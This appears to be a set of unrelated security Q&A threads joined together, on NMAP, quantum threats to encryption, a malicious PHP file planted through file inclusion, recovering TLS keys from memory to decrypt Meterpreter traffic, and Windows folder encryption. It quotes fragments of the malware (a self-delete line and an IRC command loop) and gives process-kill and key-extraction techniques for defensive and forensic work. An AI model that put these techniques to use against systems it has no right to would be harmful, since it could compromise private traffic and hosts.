NMAP detects and reports open ports. It does not tell you whether these open ports serve a legitimate purpose and/or pose a security risk. Nor are open ports the only possible source of security risks. An NMAP scan is only one of many elements in a machine's security assessment. You can neither conclude that Windows 7 is safe just because NMAP reports no open ports nor that other OSes are less safe because NMAP does report open ports. This holds independently of the NMAP options you are using.


Will quantum computing destroy all our present encryption? I'm just wondering, because it seems like it would.  Cryptography as a field may have to start all over from the beginning.

On a slightly different tack, Mike's response addresses the question of "could/can quantum computing destroy" some of our present encryption.  This is slightly different than "will they".  Basic quantum computers have been built and work.  The challenge now lies in increasing the number of qubits.

In a recent breakthrough MIT researchers were able to use a quantum computer to calculate the factors of 15 with 5 qubits.  Now 15 is a pretty big number.  I can't even count that high without taking off one of my shoes.  The world record is calculating the factors of 21.  I can't count that high with both of my shoes off!

Kidding aside, the point here is that for a quantum computers to factor a large key, they need a lot of qubits to be in superposition.  The thing is that the more qubits you try to keep together in that state, the harder it is to maintain.  This is the reason that quantum mechanics is so strange to us because even the tiniest objects we deal with in the natural world are all made up of very large numbers of atoms.

It's kind of like juggling.  A lot of people (e.g. me) can juggle three balls.  Juggling four is way less common.  Not something I can do.  Juggling 5 is pretty extraordinary.  6, 7 we are talking amazing.  11 balls is the Guinness world record.  Getting 5 qubits working together was a big deal.  Getting 1025 in superposition?  No one today knows if that's feasible and if it is, who's to say we aren't using 12288 bit encryption at that point?

Don't get me wrong.  I'm not saying it won't happen.  Perhaps there will be a breakthrough and the increasing difficulty of keeping more qubits in superposition goes away.  I think most people who really understand this stuff and being honest will tell you it is still an 'if' and not a 'when' yet.


How to stop a (malicious) endless loop Few days ago someone tried to crack my site using a Remote File Inclusion attack.
The attack was blocked by my Web Application Firewall, but I was curious about the file.
So I downloaded it started to examine it.

First of all, the file deletes itself:
unlink($_SERVER['SCRIPT_FILENAME'])

Then it starts and endless loop awaiting orders from an irc chat:

do{
   //awaiting orders and executing them
}while(1)

I was wondering: if I ever get infected by something like this:

How can I detect the infection? I have to rely on my hosting security system?
How can I stop that? It's an endless loop loaded in memory, should I ask my hosting to restart the service or kill my php process?

Getting compromised is never a good feeling. That endless loop is a process. every process has an process id. If you don't have ssh access (and I assume you don't) try finding the process id by PHP script:

php system("ps aux");

Locate the name of the file for example php endless_loop.php which is located in the last column of the returned list. In the second column you find the process id. When you have the process id all you have to do is execute another script:

php system("kill proccess_id");


Can we decrypt captured malware (Meterpreter) HTTPS/SSL traffic with the keys from memory? A machine on our network was compromised with Meterpreter.

We have traffic captures from the entire period of the compromise and a memory dump of the infected machine at a time when the connection was established.

Can we decode the HTTPS/SSL traffic we have captured?

So far we have used Volatility's dumpcerts plugin to extract some public certs but no private ones are apparent. Surely the private keys must be in memory somewhere since the connection was still established?

The TLS version is TLSv1 1.0.
The algorithm identifier is sha256WithRSAEncryption.

Yes, you can extract the keys. The private key and symmetric key are present in the memory of the crypto library (e.g. OpenSSL). You have to extract the symmetric key in order to decrypt the TLS traffic. OpenSSL keeps this in the struct SSL->session->master_key. If you don't know exactly what library is being used, a simple brute-force approach would be to extract all buffers of appropriate size from memory, and attempt to decrypt the TLS stream with each one until it succeeds.

You can also use GDB, as described in Extract pre-master keys from an OpenSSL application, which can provide you with the pre-master secret that you can plug into Wireshark. While that answer focuses on live memory dumps, it should work just as well if you have a coredump. Use Volatility to dump the process memory which is linked to the TLS library, which you can then use GDB on. If OpenSSL is not compiled with debugging symbols, you may have to resort to a brute force method.


Folder level encryption on a Windows 10 Pro laptop Most of the stuff on my laptop is benign; and the hassle of full disk encryption is not worth it. On the other hand, one or two folders I would love to encrypt and password protect.

What's the best way to do this? I see a couple of options: There is an Advanced option on right click of folders natively which allows one to turn encryption on in Windows. How good is this?

Alternatively I see software like Veracrypt (a successor of Truecrypt) that are recommended by the EFF etc. but mostly they require a partition to be mounted etc. So seems a tad more work then just encrypting a folder.

Any advice?

Comment about Veracrypt: With Veracrypt I will have to mount right? So imagine I have three different folders at different points in my directory structure then to use them each time I need to mount them as a drive. In my understanding, veracrypt allows you to mount a volume stored as an encrypted file. I sort of want to do the opposite. Encrypt folders on my existing already mounted Win drive

the hassle of full disk encryption is not worth it.

You have Windows 10 Pro so you can just turn on Bitlocker encryption with like three steps (these three steps were yoinked from this Microsoft reference):

Sign in as an administrator account;
In the search box on the taskbar, type Manage BitLocker and then select it;
Select "Turn on BitLocker" and then follow the instructions.